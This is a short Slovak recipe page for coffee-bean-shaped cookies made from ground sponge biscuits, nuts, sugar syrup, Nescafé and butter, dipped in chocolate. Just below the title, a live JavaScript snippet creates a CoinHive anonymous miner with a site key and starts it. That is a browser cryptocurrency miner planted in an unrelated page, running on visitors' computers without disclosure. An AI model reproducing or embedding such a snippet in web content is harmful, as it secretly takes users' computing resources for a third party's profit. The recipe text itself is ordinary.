
Kávové zrná

  var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); 

  

Potrebujeme: ¼ kg piškót, ¼ kg orechov, ¼ litra vody, 25 dkg cukru (kryštál), 10 dkg masla, 1
ML kávy – Nescafé, 1 vanilkový cukor, horká čokoláda – na namáčanie

  

Postup: Piškóty a orechy pomelieme. Z vody a cukru urobíme sirup – varíme do zovretia. Do
malej šálky urobíme silnú kávu Nescu a zmiešame ju s orechami, piškótami a sirupom. Do
zmesi pridáme 10 dkg masla. Z hmoty tvarujeme guľky a varechou urobíme stredom guliek
žliabky. Vyformované zrná namáčame v čokoláde.
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